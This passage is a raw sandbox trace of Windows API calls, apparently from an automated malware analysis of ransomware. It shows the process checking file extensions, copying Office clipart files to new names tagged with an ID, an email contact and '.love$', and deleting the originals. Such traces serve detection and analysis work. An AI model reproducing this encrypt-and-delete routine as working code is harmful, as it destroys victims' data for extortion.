(lpString=".zip") returned 4 [0247.253] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.253] lstrlenW (lpString=".rar") returned 4 [0247.253] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.253] lstrlenW (lpString=".bz2") returned 4 [0247.253] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.253] lstrlenW (lpString=".7z") returned 3 [0247.253] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0247.253] lstrlenW (lpString=".dbf") returned 4 [0247.253] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0247.253] lstrlenW (lpString=".1cd") returned 4 [0247.253] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0247.253] lstrlenW (lpString=".jpg") returned 4 [0247.253] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.253] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0247.253] lstrlenW (lpString="PARNT_01.MID") returned 12 [0247.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.254] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=6491) returned 1 [0247.255] CloseHandle (hObject=0x418) returned 1 [0247.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 0x220 [0247.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.255] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.255] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0247.256] GetLastError () returned 0x0 [0247.256] ReadFile (in: hFile=0x418, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x195b, lpOverlapped=0x0) returned 1 [0247.619] WriteFile (in: hFile=0x4e4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x1960, lpOverlapped=0x0) returned 1 [0247.620] ReadFile (in: hFile=0x418, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.620] WriteFile (in: hFile=0x4e4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.620] SetEndOfFile (hFile=0x4e4) returned 1 [0247.621] CloseHandle (hObject=0x4e4) returned 1 [0247.621] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.621] SetEndOfFile (hFile=0x418) returned 1 [0247.624] CloseHandle (hObject=0x418) returned 1 [0247.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0247.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0247.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0247.625] lstrlenW (lpString=".doc") returned 4 [0247.626] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.626] lstrlenW (lpString=".docx") returned 5 [0247.626] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.626] lstrlenW (lpString=".pdf") returned 4 [0247.626] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.626] lstrlenW (lpString=".xls") returned 4 [0247.626] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.626] lstrlenW (lpString=".xlsx") returned 5 [0247.626] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.626] lstrlenW (lpString=".ppt") returned 4 [0247.626] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0247.626] lstrlenW (lpString=".zip") returned 4 [0247.626] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.626] lstrlenW (lpString=".rar") returned 4 [0247.626] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.626] lstrlenW (lpString=".bz2") returned 4 [0247.626] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.626] lstrlenW (lpString=".7z") returned 3 [0247.626] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0247.626] lstrlenW (lpString=".dbf") returned 4 [0247.627] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0247.627] lstrlenW (lpString=".1cd") returned 4 [0247.627] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0247.627] lstrlenW (lpString=".jpg") returned 4 [0247.627] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0247.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0247.627] lstrlenW (lpString=".doc") returned 4 [0247.627] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.627] lstrlenW (lpString=".docx") returned 5 [0247.627] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.627] lstrlenW (lpString=".pdf") returned 4 [0247.627] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.627] lstrlenW (lpString=".xls") returned 4 [0247.627] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.627] lstrlenW (lpString=".xlsx") returned 5 [0247.627] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.627] lstrlenW (lpString=".ppt") returned 4 [0247.627] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0247.627] lstrlenW (lpString=".zip") returned 4 [0247.627] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.628] lstrlenW (lpString=".rar") returned 4 [0247.628] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.628] lstrlenW (lpString=".bz2") returned 4 [0247.628] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.628] lstrlenW (lpString=".7z") returned 3 [0247.628] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0247.628] lstrlenW (lpString=".dbf") returned 4 [0247.628] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0247.628] lstrlenW (lpString=".1cd") returned 4 [0247.628] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0247.628] lstrlenW (lpString=".jpg") returned 4 [0247.628] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.628] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0247.628] lstrlenW (lpString="PARNT_07.MID") returned 12 [0247.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.630] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=6564) returned 1 [0247.630] CloseHandle (hObject=0x418) returned 1 [0247.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 0x220 [0247.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.631] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.631] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0247.632] GetLastError () returned 0x0 [0247.632] ReadFile (in: hFile=0x418, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x19a4, lpOverlapped=0x0) returned 1 [0247.638] WriteFile (in: hFile=0x4e4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x19b0, lpOverlapped=0x0) returned 1 [0247.639] ReadFile (in: hFile=0x418, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.640] WriteFile (in: hFile=0x4e4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.640] SetEndOfFile (hFile=0x4e4) returned 1 [0247.640] CloseHandle (hObject=0x4e4) returned 1 [0247.640] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.640] SetEndOfFile (hFile=0x418) returned 1 [0247.644] CloseHandle (hObject=0x418) returned 1 [0247.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0247.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0247.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0247.646] lstrlenW (lpString=".doc") returned 4 [0247.646] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.646] lstrlenW (lpString=".docx") returned 5 [0247.646] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0247.646] lstrlenW (lpString=".pdf") returned 4 [0247.646] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.646] lstrlenW (lpString=".xls") returned 4 [0247.646] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.646] lstrlenW (lpString=".xlsx") returned 5 [0247.646] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0247.646] lstrlenW (lpString=".ppt") returned 4 [0247.646] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0247.647] lstrlenW (lpString=".zip") returned 4 [0247.647] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.647] lstrlenW (lpString=".rar") returned 4 [0247.647] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.647] lstrlenW (lpString=".bz2") returned 4 [0247.647] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.647] lstrlenW (lpString=".7z") returned 3 [0247.647] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0247.647] lstrlenW (lpString=".dbf") returned 4 [0247.647] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0247.647] lstrlenW (lpString=".1cd") returned 4 [0247.647] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0247.647] lstrlenW (lpString=".jpg") returned 4 [0247.647] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0247.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0247.647] lstrlenW (lpString=".doc") returned 4 [0247.647] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.647] lstrlenW (lpString=".docx") returned 5 [0247.647] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0247.647] lstrlenW (lpString=".pdf") returned 4 [0247.648] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.648] lstrlenW (lpString=".xls") returned 4 [0247.648] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.648] lstrlenW (lpString=".xlsx") returned 5 [0247.648] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0247.648] lstrlenW (lpString=".ppt") returned 4 [0247.648] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0247.648] lstrlenW (lpString=".zip") returned 4 [0247.648] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.648] lstrlenW (lpString=".rar") returned 4 [0247.648] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.648] lstrlenW (lpString=".bz2") returned 4 [0247.648] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.648] lstrlenW (lpString=".7z") returned 3 [0247.648] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0247.648] lstrlenW (lpString=".dbf") returned 4 [0247.648] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0247.648] lstrlenW (lpString=".1cd") returned 4 [0247.648] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0247.648] lstrlenW (lpString=".jpg") returned 4 [0247.648] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.649] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0247.649] lstrlenW (lpString="PARNT_08.MID") returned 12 [0247.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0247.660] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=7347) returned 1 [0247.660] CloseHandle (hObject=0x488) returned 1 [0247.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 0x220 [0247.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0247.661] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.661] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0247.663] GetLastError () returned 0x0 [0247.663] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x1cb3, lpOverlapped=0x0) returned 1 [0247.679] WriteFile (in: hFile=0x544, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x1cc0, lpOverlapped=0x0) returned 1 [0247.681] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.681] WriteFile (in: hFile=0x544, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.681] SetEndOfFile (hFile=0x544) returned 1 [0247.701] CloseHandle (hObject=0x544) returned 1 [0247.701] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.701] SetEndOfFile (hFile=0x488) returned 1 [0247.704] CloseHandle (hObject=0x488) returned 1 [0247.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0247.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0247.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0247.715] lstrlenW (lpString=".doc") returned 4 [0247.715] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.715] lstrlenW (lpString=".docx") returned 5 [0247.715] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0247.716] lstrlenW (lpString=".pdf") returned 4 [0247.716] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.716] lstrlenW (lpString=".xls") returned 4 [0247.716] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.716] lstrlenW (lpString=".xlsx") returned 5 [0247.716] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0247.716] lstrlenW (lpString=".ppt") returned 4 [0247.716] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0247.716] lstrlenW (lpString=".zip") returned 4 [0247.716] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.716] lstrlenW (lpString=".rar") returned 4 [0247.716] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.716] lstrlenW (lpString=".bz2") returned 4 [0247.716] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.716] lstrlenW (lpString=".7z") returned 3 [0247.716] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0247.716] lstrlenW (lpString=".dbf") returned 4 [0247.716] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0247.716] lstrlenW (lpString=".1cd") returned 4 [0247.716] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0247.716] lstrlenW (lpString=".jpg") returned 4 [0247.716] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0247.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0247.716] lstrlenW (lpString=".doc") returned 4 [0247.716] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.716] lstrlenW (lpString=".docx") returned 5 [0247.716] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0247.716] lstrlenW (lpString=".pdf") returned 4 [0247.716] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.717] lstrlenW (lpString=".xls") returned 4 [0247.717] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.717] lstrlenW (lpString=".xlsx") returned 5 [0247.717] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0247.717] lstrlenW (lpString=".ppt") returned 4 [0247.717] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0247.717] lstrlenW (lpString=".zip") returned 4 [0247.717] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.717] lstrlenW (lpString=".rar") returned 4 [0247.717] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.717] lstrlenW (lpString=".bz2") returned 4 [0247.717] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.717] lstrlenW (lpString=".7z") returned 3 [0247.717] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0247.717] lstrlenW (lpString=".dbf") returned 4 [0247.717] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.717] lstrlenW (lpString="C:\\Program Files\\Microsoft 